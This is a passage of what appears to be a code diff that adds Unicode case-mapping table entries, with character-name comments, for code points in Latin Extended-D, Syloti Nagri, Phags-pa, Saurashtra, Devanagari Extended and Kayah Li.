+ [0xa760, 0xa761], /* LATIN CAPITAL LETTER VY */
+ [0xa760, 0xa761], /* LATIN SMALL LETTER VY */
+ [0xa762, 0xa763], /* LATIN CAPITAL LETTER VISIGOTHIC Z */
+ [0xa762, 0xa763], /* LATIN SMALL LETTER VISIGOTHIC Z */
+ [0xa764, 0xa765], /* LATIN CAPITAL LETTER THORN WITH STROKE */
+ [0xa764, 0xa765], /* LATIN SMALL LETTER THORN WITH STROKE */
+ [0xa766, 0xa767], /* LATIN CAPITAL LETTER THORN WITH STROKE THROUGH DESCENDER */
+ [0xa766, 0xa767], /* LATIN SMALL LETTER THORN WITH STROKE THROUGH DESCENDER */
+ [0xa768, 0xa769], /* LATIN CAPITAL LETTER VEND */
+ [0xa768, 0xa769], /* LATIN SMALL LETTER VEND */
+ [0xa76a, 0xa76b], /* LATIN CAPITAL LETTER ET */
+ [0xa76a, 0xa76b], /* LATIN SMALL LETTER ET */
+ [0xa76c, 0xa76d], /* LATIN CAPITAL LETTER IS */
+ [0xa76c, 0xa76d], /* LATIN SMALL LETTER IS */
+ [0xa76e, 0xa76f], /* LATIN CAPITAL LETTER CON */
+ [0xa76e, 0xa76f], /* LATIN SMALL LETTER CON */
+ [0xa770, 0xa770], /* MODIFIER LETTER US */
+ [0xa771, 0xa771], /* LATIN SMALL LETTER DUM */
+ [0xa772, 0xa772], /* LATIN SMALL LETTER LUM */
+ [0xa773, 0xa773], /* LATIN SMALL LETTER MUM */
+ [0xa774, 0xa774], /* LATIN SMALL LETTER NUM */
+ [0xa775, 0xa775], /* LATIN SMALL LETTER RUM */
+ [0xa776, 0xa776], /* LATIN LETTER SMALL CAPITAL RUM */
+ [0xa777, 0xa777], /* LATIN SMALL LETTER TUM */
+ [0xa778, 0xa778], /* LATIN SMALL LETTER UM */
+ [0xa779, 0xa77a], /* LATIN CAPITAL LETTER INSULAR D */
+ [0xa779, 0xa77a], /* LATIN SMALL LETTER INSULAR D */
+ [0xa77b, 0xa77c], /* LATIN CAPITAL LETTER INSULAR F */
+ [0xa77b, 0xa77c], /* LATIN SMALL LETTER INSULAR F */
+ [0xa77d, 0x1d79], /* LATIN CAPITAL LETTER INSULAR G */
+ [0xa77e, 0xa77f], /* LATIN CAPITAL LETTER TURNED INSULAR G */
+ [0xa77e, 0xa77f], /* LATIN SMALL LETTER TURNED INSULAR G */
+ [0xa780, 0xa781], /* LATIN CAPITAL LETTER TURNED L */
+ [0xa780, 0xa781], /* LATIN SMALL LETTER TURNED L */
+ [0xa782, 0xa783], /* LATIN CAPITAL LETTER INSULAR R */
+ [0xa782, 0xa783], /* LATIN SMALL LETTER INSULAR R */
+ [0xa784, 0xa785], /* LATIN CAPITAL LETTER INSULAR S */
+ [0xa784, 0xa785], /* LATIN SMALL LETTER INSULAR S */
+ [0xa786, 0xa787], /* LATIN CAPITAL LETTER INSULAR T */
+ [0xa786, 0xa787], /* LATIN SMALL LETTER INSULAR T */
+ [0xa788, 0xa788], /* MODIFIER LETTER LOW CIRCUMFLEX ACCENT */
+ [0xa789, 0xa789], /* MODIFIER LETTER COLON */
+ [0xa78a, 0xa78a], /* MODIFIER LETTER SHORT EQUALS SIGN */
+ [0xa78b, 0xa78c], /* LATIN CAPITAL LETTER SALTILLO */
+ [0xa78b, 0xa78c], /* LATIN SMALL LETTER SALTILLO */
+ [0xa78d, 0x265], /* LATIN CAPITAL LETTER TURNED H */
+ [0xa78e, 0xa78e], /* LATIN SMALL LETTER L WITH RETROFLEX HOOK AND BELT */
+ [0xa78f, 0xa78f], /* LATIN LETTER SINOLOGICAL DOT */
+ [0xa790, 0xa791], /* LATIN CAPITAL LETTER N WITH DESCENDER */
+ [0xa790, 0xa791], /* LATIN SMALL LETTER N WITH DESCENDER */
+ [0xa792, 0xa793], /* LATIN CAPITAL LETTER C WITH BAR */
+ [0xa792, 0xa793], /* LATIN SMALL LETTER C WITH BAR */
+ [0xa794, 0xa794], /* LATIN SMALL LETTER C WITH PALATAL HOOK */
+ [0xa795, 0xa795], /* LATIN SMALL LETTER H WITH PALATAL HOOK */
+ [0xa796, 0xa797], /* LATIN CAPITAL LETTER B WITH FLOURISH */
+ [0xa796, 0xa797], /* LATIN SMALL LETTER B WITH FLOURISH */
+ [0xa798, 0xa799], /* LATIN CAPITAL LETTER F WITH STROKE */
+ [0xa798, 0xa799], /* LATIN SMALL LETTER F WITH STROKE */
+ [0xa79a, 0xa79b], /* LATIN CAPITAL LETTER VOLAPUK AE */
+ [0xa79a, 0xa79b], /* LATIN SMALL LETTER VOLAPUK AE */
+ [0xa79c, 0xa79d], /* LATIN CAPITAL LETTER VOLAPUK OE */
+ [0xa79c, 0xa79d], /* LATIN SMALL LETTER VOLAPUK OE */
+ [0xa79e, 0xa79f], /* LATIN CAPITAL LETTER VOLAPUK UE */
+ [0xa79e, 0xa79f], /* LATIN SMALL LETTER VOLAPUK UE */
+ [0xa7a0, 0xa7a1], /* LATIN CAPITAL LETTER G WITH OBLIQUE STROKE */
+ [0xa7a0, 0xa7a1], /* LATIN SMALL LETTER G WITH OBLIQUE STROKE */
+ [0xa7a2, 0xa7a3], /* LATIN CAPITAL LETTER K WITH OBLIQUE STROKE */
+ [0xa7a2, 0xa7a3], /* LATIN SMALL LETTER K WITH OBLIQUE STROKE */
+ [0xa7a4, 0xa7a5], /* LATIN CAPITAL LETTER N WITH OBLIQUE STROKE */
+ [0xa7a4, 0xa7a5], /* LATIN SMALL LETTER N WITH OBLIQUE STROKE */
+ [0xa7a6, 0xa7a7], /* LATIN CAPITAL LETTER R WITH OBLIQUE STROKE */
+ [0xa7a6, 0xa7a7], /* LATIN SMALL LETTER R WITH OBLIQUE STROKE */
+ [0xa7a8, 0xa7a9], /* LATIN CAPITAL LETTER S WITH OBLIQUE STROKE */
+ [0xa7a8, 0xa7a9], /* LATIN SMALL LETTER S WITH OBLIQUE STROKE */
+ [0xa7aa, 0x266], /* LATIN CAPITAL LETTER H WITH HOOK */
+ [0xa7ab, 0x25c], /* LATIN CAPITAL LETTER REVERSED OPEN E */
+ [0xa7ac, 0x261], /* LATIN CAPITAL LETTER SCRIPT G */
+ [0xa7ad, 0x26c], /* LATIN CAPITAL LETTER L WITH BELT */
+ [0xa7ae, 0x26a], /* LATIN CAPITAL LETTER SMALL CAPITAL I */
+ [0xa7af, 0xa7af],
+ [0xa7b0, 0x29e], /* LATIN CAPITAL LETTER TURNED K */
+ [0xa7b1, 0x287], /* LATIN CAPITAL LETTER TURNED T */
+ [0xa7b2, 0x29d], /* LATIN CAPITAL LETTER J WITH CROSSED-TAIL */
+ [0xa7b3, 0xab53], /* LATIN CAPITAL LETTER CHI */
+ [0xa7b4, 0xa7b5], /* LATIN CAPITAL LETTER BETA */
+ [0xa7b4, 0xa7b5], /* LATIN SMALL LETTER BETA */
+ [0xa7b6, 0xa7b7], /* LATIN CAPITAL LETTER OMEGA */
+ [0xa7b6, 0xa7b7], /* LATIN SMALL LETTER OMEGA */
+ [0xa7b8, 0xa7b8],
+ [0xa7b9, 0xa7b9],
+ [0xa7ba, 0xa7ba],
+ [0xa7bb, 0xa7bb],
+ [0xa7bc, 0xa7bc],
+ [0xa7bd, 0xa7bd],
+ [0xa7be, 0xa7be],
+ [0xa7bf, 0xa7bf],
+ [0xa7c0, 0xa7c0],
+ [0xa7c1, 0xa7c1],
+ [0xa7c2, 0xa7c2],
+ [0xa7c3, 0xa7c3],
+ [0xa7c4, 0xa7c4],
+ [0xa7c5, 0xa7c5],
+ [0xa7c6, 0xa7c6],
+ [0xa7c7, 0xa7c7],
+ [0xa7c8, 0xa7c8],
+ [0xa7c9, 0xa7c9],
+ [0xa7ca, 0xa7ca],
+ [0xa7cb, 0xa7cb],
+ [0xa7cc, 0xa7cc],
+ [0xa7cd, 0xa7cd],
+ [0xa7ce, 0xa7ce],
+ [0xa7cf, 0xa7cf],
+ [0xa7d0, 0xa7d0],
+ [0xa7d1, 0xa7d1],
+ [0xa7d2, 0xa7d2],
+ [0xa7d3, 0xa7d3],
+ [0xa7d4, 0xa7d4],
+ [0xa7d5, 0xa7d5],
+ [0xa7d6, 0xa7d6],
+ [0xa7d7, 0xa7d7],
+ [0xa7d8, 0xa7d8],
+ [0xa7d9, 0xa7d9],
+ [0xa7da, 0xa7da],
+ [0xa7db, 0xa7db],
+ [0xa7dc, 0xa7dc],
+ [0xa7dd, 0xa7dd],
+ [0xa7de, 0xa7de],
+ [0xa7df, 0xa7df],
+ [0xa7e0, 0xa7e0],
+ [0xa7e1, 0xa7e1],
+ [0xa7e2, 0xa7e2],
+ [0xa7e3, 0xa7e3],
+ [0xa7e4, 0xa7e4],
+ [0xa7e5, 0xa7e5],
+ [0xa7e6, 0xa7e6],
+ [0xa7e7, 0xa7e7],
+ [0xa7e8, 0xa7e8],
+ [0xa7e9, 0xa7e9],
+ [0xa7ea, 0xa7ea],
+ [0xa7eb, 0xa7eb],
+ [0xa7ec, 0xa7ec],
+ [0xa7ed, 0xa7ed],
+ [0xa7ee, 0xa7ee],
+ [0xa7ef, 0xa7ef],
+ [0xa7f0, 0xa7f0],
+ [0xa7f1, 0xa7f1],
+ [0xa7f2, 0xa7f2],
+ [0xa7f3, 0xa7f3],
+ [0xa7f4, 0xa7f4],
+ [0xa7f5, 0xa7f5],
+ [0xa7f6, 0xa7f6],
+ [0xa7f7, 0xa7f7], /* LATIN EPIGRAPHIC LETTER SIDEWAYS I */
+ [0xa7f8, 0xa7f8], /* MODIFIER LETTER CAPITAL H WITH STROKE */
+ [0xa7f9, 0xa7f9], /* MODIFIER LETTER SMALL LIGATURE OE */
+ [0xa7fa, 0xa7fa], /* LATIN LETTER SMALL CAPITAL TURNED M */
+ [0xa7fb, 0xa7fb], /* LATIN EPIGRAPHIC LETTER REVERSED F */
+ [0xa7fc, 0xa7fc], /* LATIN EPIGRAPHIC LETTER REVERSED P */
+ [0xa7fd, 0xa7fd], /* LATIN EPIGRAPHIC LETTER INVERTED M */
+ [0xa7fe, 0xa7fe], /* LATIN EPIGRAPHIC LETTER I LONGA */
+ [0xa7ff, 0xa7ff], /* LATIN EPIGRAPHIC LETTER ARCHAIC M */
+ [0xa800, 0xa800], /* SYLOTI NAGRI LETTER A */
+ [0xa801, 0xa801], /* SYLOTI NAGRI LETTER I */
+ [0xa802, 0xa802], /* SYLOTI NAGRI SIGN DVISVARA */
+ [0xa803, 0xa803], /* SYLOTI NAGRI LETTER U */
+ [0xa804, 0xa804], /* SYLOTI NAGRI LETTER E */
+ [0xa805, 0xa805], /* SYLOTI NAGRI LETTER O */
+ [0xa806, 0xa806], /* SYLOTI NAGRI SIGN HASANTA */
+ [0xa807, 0xa807], /* SYLOTI NAGRI LETTER KO */
+ [0xa808, 0xa808], /* SYLOTI NAGRI LETTER KHO */
+ [0xa809, 0xa809], /* SYLOTI NAGRI LETTER GO */
+ [0xa80a, 0xa80a], /* SYLOTI NAGRI LETTER GHO */
+ [0xa80b, 0xa80b], /* SYLOTI NAGRI SIGN ANUSVARA */
+ [0xa80c, 0xa80c], /* SYLOTI NAGRI LETTER CO */
+ [0xa80d, 0xa80d], /* SYLOTI NAGRI LETTER CHO */
+ [0xa80e, 0xa80e], /* SYLOTI NAGRI LETTER JO */
+ [0xa80f, 0xa80f], /* SYLOTI NAGRI LETTER JHO */
+ [0xa810, 0xa810], /* SYLOTI NAGRI LETTER TTO */
+ [0xa811, 0xa811], /* SYLOTI NAGRI LETTER TTHO */
+ [0xa812, 0xa812], /* SYLOTI NAGRI LETTER DDO */
+ [0xa813, 0xa813], /* SYLOTI NAGRI LETTER DDHO */
+ [0xa814, 0xa814], /* SYLOTI NAGRI LETTER TO */
+ [0xa815, 0xa815], /* SYLOTI NAGRI LETTER THO */
+ [0xa816, 0xa816], /* SYLOTI NAGRI LETTER DO */
+ [0xa817, 0xa817], /* SYLOTI NAGRI LETTER DHO */
+ [0xa818, 0xa818], /* SYLOTI NAGRI LETTER NO */
+ [0xa819, 0xa819], /* SYLOTI NAGRI LETTER PO */
+ [0xa81a, 0xa81a], /* SYLOTI NAGRI LETTER PHO */
+ [0xa81b, 0xa81b], /* SYLOTI NAGRI LETTER BO */
+ [0xa81c, 0xa81c], /* SYLOTI NAGRI LETTER BHO */
+ [0xa81d, 0xa81d], /* SYLOTI NAGRI LETTER MO */
+ [0xa81e, 0xa81e], /* SYLOTI NAGRI LETTER RO */
+ [0xa81f, 0xa81f], /* SYLOTI NAGRI LETTER LO */
+ [0xa820, 0xa820], /* SYLOTI NAGRI LETTER RRO */
+ [0xa821, 0xa821], /* SYLOTI NAGRI LETTER SO */
+ [0xa822, 0xa822], /* SYLOTI NAGRI LETTER HO */
+ [0xa823, 0xa823], /* SYLOTI NAGRI VOWEL SIGN A */
+ [0xa824, 0xa824], /* SYLOTI NAGRI VOWEL SIGN I */
+ [0xa825, 0xa825], /* SYLOTI NAGRI VOWEL SIGN U */
+ [0xa826, 0xa826], /* SYLOTI NAGRI VOWEL SIGN E */
+ [0xa827, 0xa827], /* SYLOTI NAGRI VOWEL SIGN OO */
+ [0xa828, 0xa828], /* SYLOTI NAGRI POETRY MARK-1 */
+ [0xa829, 0xa829], /* SYLOTI NAGRI POETRY MARK-2 */
+ [0xa82a, 0xa82a], /* SYLOTI NAGRI POETRY MARK-3 */
+ [0xa82b, 0xa82b], /* SYLOTI NAGRI POETRY MARK-4 */
+ [0xa82c, 0xa82c],
+ [0xa82d, 0xa82d],
+ [0xa82e, 0xa82e],
+ [0xa82f, 0xa82f],
+ [0xa830, 0xa830], /* NORTH INDIC FRACTION ONE QUARTER */
+ [0xa831, 0xa831], /* NORTH INDIC FRACTION ONE HALF */
+ [0xa832, 0xa832], /* NORTH INDIC FRACTION THREE QUARTERS */
+ [0xa833, 0xa833], /* NORTH INDIC FRACTION ONE SIXTEENTH */
+ [0xa834, 0xa834], /* NORTH INDIC FRACTION ONE EIGHTH */
+ [0xa835, 0xa835], /* NORTH INDIC FRACTION THREE SIXTEENTHS */
+ [0xa836, 0xa836], /* NORTH INDIC QUARTER MARK */
+ [0xa837, 0xa837], /* NORTH INDIC PLACEHOLDER MARK */
+ [0xa838, 0xa838], /* NORTH INDIC RUPEE MARK */
+ [0xa839, 0xa839], /* NORTH INDIC QUANTITY MARK */
+ [0xa83a, 0xa83a],
+ [0xa83b, 0xa83b],
+ [0xa83c, 0xa83c],
+ [0xa83d, 0xa83d],
+ [0xa83e, 0xa83e],
+ [0xa83f, 0xa83f],
+ [0xa840, 0xa840], /* PHAGS-PA LETTER KA */
+ [0xa841, 0xa841], /* PHAGS-PA LETTER KHA */
+ [0xa842, 0xa842], /* PHAGS-PA LETTER GA */
+ [0xa843, 0xa843], /* PHAGS-PA LETTER NGA */
+ [0xa844, 0xa844], /* PHAGS-PA LETTER CA */
+ [0xa845, 0xa845], /* PHAGS-PA LETTER CHA */
+ [0xa846, 0xa846], /* PHAGS-PA LETTER JA */
+ [0xa847, 0xa847], /* PHAGS-PA LETTER NYA */
+ [0xa848, 0xa848], /* PHAGS-PA LETTER TA */
+ [0xa849, 0xa849], /* PHAGS-PA LETTER THA */
+ [0xa84a, 0xa84a], /* PHAGS-PA LETTER DA */
+ [0xa84b, 0xa84b], /* PHAGS-PA LETTER NA */
+ [0xa84c, 0xa84c], /* PHAGS-PA LETTER PA */
+ [0xa84d, 0xa84d], /* PHAGS-PA LETTER PHA */
+ [0xa84e, 0xa84e], /* PHAGS-PA LETTER BA */
+ [0xa84f, 0xa84f], /* PHAGS-PA LETTER MA */
+ [0xa850, 0xa850], /* PHAGS-PA LETTER TSA */
+ [0xa851, 0xa851], /* PHAGS-PA LETTER TSHA */
+ [0xa852, 0xa852], /* PHAGS-PA LETTER DZA */
+ [0xa853, 0xa853], /* PHAGS-PA LETTER WA */
+ [0xa854, 0xa854], /* PHAGS-PA LETTER ZHA */
+ [0xa855, 0xa855], /* PHAGS-PA LETTER ZA */
+ [0xa856, 0xa856], /* PHAGS-PA LETTER SMALL A */
+ [0xa857, 0xa857], /* PHAGS-PA LETTER YA */
+ [0xa858, 0xa858], /* PHAGS-PA LETTER RA */
+ [0xa859, 0xa859], /* PHAGS-PA LETTER LA */
+ [0xa85a, 0xa85a], /* PHAGS-PA LETTER SHA */
+ [0xa85b, 0xa85b], /* PHAGS-PA LETTER SA */
+ [0xa85c, 0xa85c], /* PHAGS-PA LETTER HA */
+ [0xa85d, 0xa85d], /* PHAGS-PA LETTER A */
+ [0xa85e, 0xa85e], /* PHAGS-PA LETTER I */
+ [0xa85f, 0xa85f], /* PHAGS-PA LETTER U */
+ [0xa860, 0xa860], /* PHAGS-PA LETTER E */
+ [0xa861, 0xa861], /* PHAGS-PA LETTER O */
+ [0xa862, 0xa862], /* PHAGS-PA LETTER QA */
+ [0xa863, 0xa863], /* PHAGS-PA LETTER XA */
+ [0xa864, 0xa864], /* PHAGS-PA LETTER FA */
+ [0xa865, 0xa865], /* PHAGS-PA LETTER GGA */
+ [0xa866, 0xa866], /* PHAGS-PA LETTER EE */
+ [0xa867, 0xa867], /* PHAGS-PA SUBJOINED LETTER WA */
+ [0xa868, 0xa868], /* PHAGS-PA SUBJOINED LETTER YA */
+ [0xa869, 0xa869], /* PHAGS-PA LETTER TTA */
+ [0xa86a, 0xa86a], /* PHAGS-PA LETTER TTHA */
+ [0xa86b, 0xa86b], /* PHAGS-PA LETTER DDA */
+ [0xa86c, 0xa86c], /* PHAGS-PA LETTER NNA */
+ [0xa86d, 0xa86d], /* PHAGS-PA LETTER ALTERNATE YA */
+ [0xa86e, 0xa86e], /* PHAGS-PA LETTER VOICELESS SHA */
+ [0xa86f, 0xa86f], /* PHAGS-PA LETTER VOICED HA */
+ [0xa870, 0xa870], /* PHAGS-PA LETTER ASPIRATED FA */
+ [0xa871, 0xa871], /* PHAGS-PA SUBJOINED LETTER RA */
+ [0xa872, 0xa872], /* PHAGS-PA SUPERFIXED LETTER RA */
+ [0xa873, 0xa873], /* PHAGS-PA LETTER CANDRABINDU */
+ [0xa874, 0xa874], /* PHAGS-PA SINGLE HEAD MARK */
+ [0xa875, 0xa875], /* PHAGS-PA DOUBLE HEAD MARK */
+ [0xa876, 0xa876], /* PHAGS-PA MARK SHAD */
+ [0xa877, 0xa877], /* PHAGS-PA MARK DOUBLE SHAD */
+ [0xa878, 0xa878],
+ [0xa879, 0xa879],
+ [0xa87a, 0xa87a],
+ [0xa87b, 0xa87b],
+ [0xa87c, 0xa87c],
+ [0xa87d, 0xa87d],
+ [0xa87e, 0xa87e],
+ [0xa87f, 0xa87f],
+ [0xa880, 0xa880], /* SAURASHTRA SIGN ANUSVARA */
+ [0xa881, 0xa881], /* SAURASHTRA SIGN VISARGA */
+ [0xa882, 0xa882], /* SAURASHTRA LETTER A */
+ [0xa883, 0xa883], /* SAURASHTRA LETTER AA */
+ [0xa884, 0xa884], /* SAURASHTRA LETTER I */
+ [0xa885, 0xa885], /* SAURASHTRA LETTER II */
+ [0xa886, 0xa886], /* SAURASHTRA LETTER U */
+ [0xa887, 0xa887], /* SAURASHTRA LETTER UU */
+ [0xa888, 0xa888], /* SAURASHTRA LETTER VOCALIC R */
+ [0xa889, 0xa889], /* SAURASHTRA LETTER VOCALIC RR */
+ [0xa88a, 0xa88a], /* SAURASHTRA LETTER VOCALIC L */
+ [0xa88b, 0xa88b], /* SAURASHTRA LETTER VOCALIC LL */
+ [0xa88c, 0xa88c], /* SAURASHTRA LETTER E */
+ [0xa88d, 0xa88d], /* SAURASHTRA LETTER EE */
+ [0xa88e, 0xa88e], /* SAURASHTRA LETTER AI */
+ [0xa88f, 0xa88f], /* SAURASHTRA LETTER O */
+ [0xa890, 0xa890], /* SAURASHTRA LETTER OO */
+ [0xa891, 0xa891], /* SAURASHTRA LETTER AU */
+ [0xa892, 0xa892], /* SAURASHTRA LETTER KA */
+ [0xa893, 0xa893], /* SAURASHTRA LETTER KHA */
+ [0xa894, 0xa894], /* SAURASHTRA LETTER GA */
+ [0xa895, 0xa895], /* SAURASHTRA LETTER GHA */
+ [0xa896, 0xa896], /* SAURASHTRA LETTER NGA */
+ [0xa897, 0xa897], /* SAURASHTRA LETTER CA */
+ [0xa898, 0xa898], /* SAURASHTRA LETTER CHA */
+ [0xa899, 0xa899], /* SAURASHTRA LETTER JA */
+ [0xa89a, 0xa89a], /* SAURASHTRA LETTER JHA */
+ [0xa89b, 0xa89b], /* SAURASHTRA LETTER NYA */
+ [0xa89c, 0xa89c], /* SAURASHTRA LETTER TTA */
+ [0xa89d, 0xa89d], /* SAURASHTRA LETTER TTHA */
+ [0xa89e, 0xa89e], /* SAURASHTRA LETTER DDA */
+ [0xa89f, 0xa89f], /* SAURASHTRA LETTER DDHA */
+ [0xa8a0, 0xa8a0], /* SAURASHTRA LETTER NNA */
+ [0xa8a1, 0xa8a1], /* SAURASHTRA LETTER TA */
+ [0xa8a2, 0xa8a2], /* SAURASHTRA LETTER THA */
+ [0xa8a3, 0xa8a3], /* SAURASHTRA LETTER DA */
+ [0xa8a4, 0xa8a4], /* SAURASHTRA LETTER DHA */
+ [0xa8a5, 0xa8a5], /* SAURASHTRA LETTER NA */
+ [0xa8a6, 0xa8a6], /* SAURASHTRA LETTER PA */
+ [0xa8a7, 0xa8a7], /* SAURASHTRA LETTER PHA */
+ [0xa8a8, 0xa8a8], /* SAURASHTRA LETTER BA */
+ [0xa8a9, 0xa8a9], /* SAURASHTRA LETTER BHA */
+ [0xa8aa, 0xa8aa], /* SAURASHTRA LETTER MA */
+ [0xa8ab, 0xa8ab], /* SAURASHTRA LETTER YA */
+ [0xa8ac, 0xa8ac], /* SAURASHTRA LETTER RA */
+ [0xa8ad, 0xa8ad], /* SAURASHTRA LETTER LA */
+ [0xa8ae, 0xa8ae], /* SAURASHTRA LETTER VA */
+ [0xa8af, 0xa8af], /* SAURASHTRA LETTER SHA */
+ [0xa8b0, 0xa8b0], /* SAURASHTRA LETTER SSA */
+ [0xa8b1, 0xa8b1], /* SAURASHTRA LETTER SA */
+ [0xa8b2, 0xa8b2], /* SAURASHTRA LETTER HA */
+ [0xa8b3, 0xa8b3], /* SAURASHTRA LETTER LLA */
+ [0xa8b4, 0xa8b4], /* SAURASHTRA CONSONANT SIGN HAARU */
+ [0xa8b5, 0xa8b5], /* SAURASHTRA VOWEL SIGN AA */
+ [0xa8b6, 0xa8b6], /* SAURASHTRA VOWEL SIGN I */
+ [0xa8b7, 0xa8b7], /* SAURASHTRA VOWEL SIGN II */
+ [0xa8b8, 0xa8b8], /* SAURASHTRA VOWEL SIGN U */
+ [0xa8b9, 0xa8b9], /* SAURASHTRA VOWEL SIGN UU */
+ [0xa8ba, 0xa8ba], /* SAURASHTRA VOWEL SIGN VOCALIC R */
+ [0xa8bb, 0xa8bb], /* SAURASHTRA VOWEL SIGN VOCALIC RR */
+ [0xa8bc, 0xa8bc], /* SAURASHTRA VOWEL SIGN VOCALIC L */
+ [0xa8bd, 0xa8bd], /* SAURASHTRA VOWEL SIGN VOCALIC LL */
+ [0xa8be, 0xa8be], /* SAURASHTRA VOWEL SIGN E */
+ [0xa8bf, 0xa8bf], /* SAURASHTRA VOWEL SIGN EE */
+ [0xa8c0, 0xa8c0], /* SAURASHTRA VOWEL SIGN AI */
+ [0xa8c1, 0xa8c1], /* SAURASHTRA VOWEL SIGN O */
+ [0xa8c2, 0xa8c2], /* SAURASHTRA VOWEL SIGN OO */
+ [0xa8c3, 0xa8c3], /* SAURASHTRA VOWEL SIGN AU */
+ [0xa8c4, 0xa8c4], /* SAURASHTRA SIGN VIRAMA */
+ [0xa8c5, 0xa8c5], /* SAURASHTRA SIGN CANDRABINDU */
+ [0xa8c6, 0xa8c6],
+ [0xa8c7, 0xa8c7],
+ [0xa8c8, 0xa8c8],
+ [0xa8c9, 0xa8c9],
+ [0xa8ca, 0xa8ca],
+ [0xa8cb, 0xa8cb],
+ [0xa8cc, 0xa8cc],
+ [0xa8cd, 0xa8cd],
+ [0xa8ce, 0xa8ce], /* SAURASHTRA DANDA */
+ [0xa8cf, 0xa8cf], /* SAURASHTRA DOUBLE DANDA */
+ [0xa8d0, 0xa8d0], /* SAURASHTRA DIGIT ZERO */
+ [0xa8d1, 0xa8d1], /* SAURASHTRA DIGIT ONE */
+ [0xa8d2, 0xa8d2], /* SAURASHTRA DIGIT TWO */
+ [0xa8d3, 0xa8d3], /* SAURASHTRA DIGIT THREE */
+ [0xa8d4, 0xa8d4], /* SAURASHTRA DIGIT FOUR */
+ [0xa8d5, 0xa8d5], /* SAURASHTRA DIGIT FIVE */
+ [0xa8d6, 0xa8d6], /* SAURASHTRA DIGIT SIX */
+ [0xa8d7, 0xa8d7], /* SAURASHTRA DIGIT SEVEN */
+ [0xa8d8, 0xa8d8], /* SAURASHTRA DIGIT EIGHT */
+ [0xa8d9, 0xa8d9], /* SAURASHTRA DIGIT NINE */
+ [0xa8da, 0xa8da],
+ [0xa8db, 0xa8db],
+ [0xa8dc, 0xa8dc],
+ [0xa8dd, 0xa8dd],
+ [0xa8de, 0xa8de],
+ [0xa8df, 0xa8df],
+ [0xa8e0, 0xa8e0], /* COMBINING DEVANAGARI DIGIT ZERO */
+ [0xa8e1, 0xa8e1], /* COMBINING DEVANAGARI DIGIT ONE */
+ [0xa8e2, 0xa8e2], /* COMBINING DEVANAGARI DIGIT TWO */
+ [0xa8e3, 0xa8e3], /* COMBINING DEVANAGARI DIGIT THREE */
+ [0xa8e4, 0xa8e4], /* COMBINING DEVANAGARI DIGIT FOUR */
+ [0xa8e5, 0xa8e5], /* COMBINING DEVANAGARI DIGIT FIVE */
+ [0xa8e6, 0xa8e6], /* COMBINING DEVANAGARI DIGIT SIX */
+ [0xa8e7, 0xa8e7], /* COMBINING DEVANAGARI DIGIT SEVEN */
+ [0xa8e8, 0xa8e8], /* COMBINING DEVANAGARI DIGIT EIGHT */
+ [0xa8e9, 0xa8e9], /* COMBINING DEVANAGARI DIGIT NINE */
+ [0xa8ea, 0xa8ea], /* COMBINING DEVANAGARI LETTER A */
+ [0xa8eb, 0xa8eb], /* COMBINING DEVANAGARI LETTER U */
+ [0xa8ec, 0xa8ec], /* COMBINING DEVANAGARI LETTER KA */
+ [0xa8ed, 0xa8ed], /* COMBINING DEVANAGARI LETTER NA */
+ [0xa8ee, 0xa8ee], /* COMBINING DEVANAGARI LETTER PA */
+ [0xa8ef, 0xa8ef], /* COMBINING DEVANAGARI LETTER RA */
+ [0xa8f0, 0xa8f0], /* COMBINING DEVANAGARI LETTER VI */
+ [0xa8f1, 0xa8f1], /* COMBINING DEVANAGARI SIGN AVAGRAHA */
+ [0xa8f2, 0xa8f2], /* DEVANAGARI SIGN SPACING CANDRABINDU */
+ [0xa8f3, 0xa8f3], /* DEVANAGARI SIGN CANDRABINDU VIRAMA */
+ [0xa8f4, 0xa8f4], /* DEVANAGARI SIGN DOUBLE CANDRABINDU VIRAMA */
+ [0xa8f5, 0xa8f5], /* DEVANAGARI SIGN CANDRABINDU TWO */
+ [0xa8f6, 0xa8f6], /* DEVANAGARI SIGN CANDRABINDU THREE */
+ [0xa8f7, 0xa8f7], /* DEVANAGARI SIGN CANDRABINDU AVAGRAHA */
+ [0xa8f8, 0xa8f8], /* DEVANAGARI SIGN PUSHPIKA */
+ [0xa8f9, 0xa8f9], /* DEVANAGARI GAP FILLER */
+ [0xa8fa, 0xa8fa], /* DEVANAGARI CARET */
+ [0xa8fb, 0xa8fb], /* DEVANAGARI HEADSTROKE */
+ [0xa8fc, 0xa8fc], /* DEVANAGARI SIGN SIDDHAM */
+ [0xa8fd, 0xa8fd], /* DEVANAGARI JAIN OM */
+ [0xa8fe, 0xa8fe],
+ [0xa8ff, 0xa8ff],
+ [0xa900, 0xa900], /* KAYAH LI DIGIT ZERO */
+ [0xa901, 0xa901], /* KAYAH LI DIGIT ONE */
+ [0xa902, 0xa902], /* KAYAH LI DIGIT TWO */
+ [0xa903, 0xa903], /* KAYAH LI DIGIT THREE */
+ [0xa904, 0xa904], /* KAYAH LI DIGIT FOUR */
+ [0xa905, 0xa905], /* KAYAH LI DIGIT FIVE */
+ [0xa906, 0xa906], /* KAYAH LI DIGIT SIX */
+ [0xa907, 0xa907], /* KAYAH LI DIGIT SEVEN */
+ [0xa908, 0xa908], /* KAYAH LI DIGIT EIGHT */
+ [0xa909, 0xa909], /* KAYAH LI DIGIT NINE */
+ [0xa90a, 0xa90a], /* KAYAH LI LETTER KA */
+ [0xa90b, 0xa90b], /* KAYAH LI LETTER KHA */
+ [0xa90c, 0xa90c], /* KAYAH LI LETTER GA */
+ [0xa90d, 0xa90d], /* KAYAH LI LETTER NGA */
+ [0xa90e, 0xa90e], /* KAYAH LI LETTER SA */
+ [0xa90f, 0xa90f], /* KAYAH LI LETTER SHA */
+ [0xa910, 0xa910], /* KAYAH LI LETTER ZA */
+ [0xa911, 0xa911], /* KAYAH LI LETTER NYA */
+ [0xa912, 0xa912], /* KAYAH LI LETTER TA */
+ [0xa913, 0xa913], /* KAYAH LI LETTER HTA */
+ [0xa914, 0xa914], /* KAYAH LI LETTER NA */
+ [0xa915, 0xa915], /* KAYAH LI LETTER PA */
+ [0xa916, 0xa916], /* KAYAH LI LETTER PHA */
+ [0xa917, 0xa917], /* KAYAH LI LETTER MA */
+ [0xa918, 0xa918], /* KAYAH LI LETTER DA */
+ [0xa919, 0xa919], /* KAYAH LI LETTER BA */
+ [0xa91a, 0xa91a], /* KAYAH LI LETTER RA */
+ [0xa91b, 0xa91b], /* KAYAH LI LETTER YA */
+ [0xa91c, 0xa91c], /* KAYAH LI LETTER LA */
+ [0xa91d, 0xa91d], /* KAYAH LI LETTER WA */
+ [0xa91e, 0xa91e], /* KAYAH LI LETTER THA */
